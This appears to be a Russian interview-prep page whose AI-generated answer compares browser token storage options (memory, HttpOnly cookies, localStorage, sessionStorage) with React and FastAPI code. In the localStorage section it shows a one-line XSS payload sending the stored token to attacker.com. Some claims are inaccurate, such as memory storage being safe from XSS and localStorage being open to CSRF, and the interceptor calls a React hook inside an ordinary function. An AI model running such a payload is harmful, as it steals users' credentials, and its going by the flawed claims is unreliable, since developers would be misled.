← Назад к вопросам
Где хранить токен с ограниченным permission?
3.0 Senior🔥 121 комментариев
#Архитектура и паттерны#Браузер и сетевые технологии
Комментарии (1)
🐱
claude-haiku-4.5PrepBro AI2 апр. 2026 г.(ред.)
Ответ сгенерирован нейросетью и может содержать ошибки
Где хранить токен с ограниченным разрешением
Хранение токенов с ограниченными разрешениями критически важно для безопасности приложения. Выбор места хранения зависит от типа токена и уровня доступа.
Типы токенов и их разрешения
Токены отличаются по уровню доступа:
- Access Token (краткосрочный) — доступ к API, ограничен по времени (5-15 минут)
- Refresh Token (долгосрочный) — обновление access token, может быть скомпрометирован
- API Key — доступ к конкретному сервису с ограниченными функциями
- JWT Token — содержит информацию о пользователе и разрешениях
Место 1: Memory (оперативная память)
Хранение в переменной в памяти приложения — самый безопасный способ.
// contexts/AuthContext.tsx
interface AuthContextType {
accessToken: string | null; // Хранится в памяти
setAccessToken: (token: string) => void;
}
const AuthContext = createContext<AuthContextType | undefined>(undefined);
export function AuthProvider({ children }: { children: React.ReactNode }) {
const [accessToken, setAccessToken] = useState<string | null>(null);
const login = async (email: string, password: string) => {
const response = await fetch('/api/auth/login', {
method: 'POST',
body: JSON.stringify({ email, password }),
});
const { accessToken } = await response.json();
setAccessToken(accessToken); // Хранится только в памяти
};
return (
<AuthContext.Provider value={{ accessToken, setAccessToken }}>
{children}
</AuthContext.Provider>
);
}
Плюсы:
- Защищено от XSS атак (не доступно window.location.href)
- Не отправляется с каждым запросом автоматически
- Удаляется при закрытии браузера
Минусы:
- Теряется при перезагрузке страницы
- Нужен refresh token для восстановления
Место 2: HttpOnly Cookie (самый безопасный для сессий)
HttpOnly Cookie — браузер не может получить доступ из JavaScript, защита от XSS.
// На бэкенде (Python/FastAPI)
from fastapi import Response
from datetime import timedelta
@app.post('/api/auth/login')
async def login(credentials: LoginRequest):
# Валидация
user = validate_credentials(credentials.email, credentials.password)
access_token = create_access_token(user.id, expires_in=timedelta(hours=1))
refresh_token = create_refresh_token(user.id, expires_in=timedelta(days=7))
response = JSONResponse(
status_code=200,
content={'user': user.to_dict()}
)
# Отправить refresh token в HttpOnly cookie
response.set_cookie(
key='refreshToken',
value=refresh_token,
max_age=7 * 24 * 60 * 60, # 7 дней
httponly=True, # Не доступно из JavaScript!
secure=True, # Только HTTPS
samesite='Strict' # Защита от CSRF
)
return response
// На фронтенде
// Refresh token автоматически отправляется с каждым запросом
// Но мы не можем его прочитать из JavaScript (HttpOnly)
const response = await fetch('/api/auth/refresh', {
method: 'POST',
credentials: 'include', // Отправить cookie
});
const { accessToken } = await response.json();
// Храним access token в памяти
Плюсы:
- Защита от XSS (недоступно из JS)
- Защита от CSRF (samesite=Strict)
- Автоматически отправляется
- Нельзя скопировать и украсть
Минусы:
- Сложнее с мобильными приложениями
- Нужна поддержка cookie на бэкенде
Место 3: LocalStorage (не рекомендуется)
LocalStorage — легко получить доступ, но уязвимо для XSS.
// ПЛОХО: Не используй для токенов!
const token = localStorage.getItem('accessToken');
// Если XSS атака:
fetch('https://attacker.com/steal?token=' + localStorage.getItem('accessToken'));
Плюсы:
- Сохраняется после перезагрузки
- Простая реализация
Минусы:
- Уязвимо для XSS (window.localStorage доступно)
- Уязвимо для CSRF
- Доступно для вредоносных скриптов
Место 4: SessionStorage (только для сессии)
SessionStorage — аналог localStorage, но удаляется при закрытии вкладки.
// Можно использовать для временных токенов
const token = sessionStorage.getItem('accessToken');
// Удаляется при закрытии вкладки
// Всё ещё уязвимо для XSS
Плюсы:
- Удаляется при закрытии вкладки
- Не передаётся между вкладками
Минусы:
- Всё ещё уязвимо для XSS
- Необходимо повторное логирование
Рекомендуемая архитектура
Вариант 1: Refresh Token + Access Token (лучший подход)
// Архитектура:
// 1. Refresh Token (долгоживущий, недоступный из JS) -> HttpOnly Cookie
// 2. Access Token (краткосрочный) -> Memory (React State)
// 3. При каждом запросе отправляем Access Token в Authorization header
// 4. При истечении Access Token, refresh token восстанавливает его
// contexts/AuthContext.tsx
interface AuthContextType {
accessToken: string | null;
user: User | null;
login: (email: string, password: string) => Promise<void>;
logout: () => Promise<void>;
refreshAccessToken: () => Promise<void>;
}
const AuthContext = createContext<AuthContextType | undefined>(undefined);
export function AuthProvider({ children }: { children: React.ReactNode }) {
const [accessToken, setAccessToken] = useState<string | null>(null);
const [user, setUser] = useState<User | null>(null);
const [isLoading, setIsLoading] = useState(false);
const login = async (email: string, password: string) => {
setIsLoading(true);
try {
const response = await fetch('/api/auth/login', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
credentials: 'include', // Отправить cookie
body: JSON.stringify({ email, password }),
});
const data = await response.json();
setAccessToken(data.accessToken); // В памяти
setUser(data.user);
// Refresh token в HttpOnly cookie (автоматически)
} finally {
setIsLoading(false);
}
};
const refreshAccessToken = async () => {
try {
const response = await fetch('/api/auth/refresh', {
method: 'POST',
credentials: 'include', // Отправить refresh token из cookie
});
if (response.ok) {
const data = await response.json();
setAccessToken(data.accessToken); // Обновить в памяти
} else {
logout();
}
} catch (error) {
logout();
}
};
const logout = async () => {
await fetch('/api/auth/logout', {
method: 'POST',
credentials: 'include',
});
setAccessToken(null);
setUser(null);
};
return (
<AuthContext.Provider value={{ accessToken, user, login, logout, refreshAccessToken }}>
{children}
</AuthContext.Provider>
);
}
API interceptor для автоматического refresh
// lib/api.ts
export async function fetchWithAuth(url: string, options: RequestInit = {}) {
const { accessToken, refreshAccessToken } = useAuth();
let response = await fetch(url, {
...options,
headers: {
...options.headers,
'Authorization': `Bearer ${accessToken}`,
},
});
// Если 401 Unauthorized, попробовать refresh
if (response.status === 401) {
await refreshAccessToken();
// Повторить запрос с новым токеном
const { accessToken: newToken } = useAuth();
response = await fetch(url, {
...options,
headers: {
...options.headers,
'Authorization': `Bearer ${newToken}`,
},
});
}
return response;
}
Таблица сравнения методов
| Метод | Безопасность | Персистентность | XSS | CSRF | Рекомендация |
|---|---|---|---|---|---|
| Memory | Высокая | Нет | Защищено | Защищено | Для access token |
| HttpOnly Cookie | Очень высокая | Да | Защищено | Защищено | Для refresh token |
| LocalStorage | Низкая | Да | Уязвимо | Уязвимо | НЕ использовать |
| SessionStorage | Низкая | Нет | Уязвимо | Уязвимо | Только тесты |
Лучшие практики
- Используй HttpOnly cookies для refresh tokens — недоступно из JavaScript
- Хранись access tokens в памяти (State/Context) — удаляется при перезагрузке
- Отправляй access token в Authorization header — не в cookie
- Установи SameSite=Strict на cookies — защита от CSRF
- Используй HTTPS — защита от перехвата
- Минимизируй время жизни access token — 5-15 минут
- Максимизируй время жизни refresh token — до 7 дней
- Не хранись токены в localStorage — уязвимо для XSS
- Реализуй защиту от XSS — санитизация ввода, CSP headers
- Ротируй токены периодически — даже если не истекли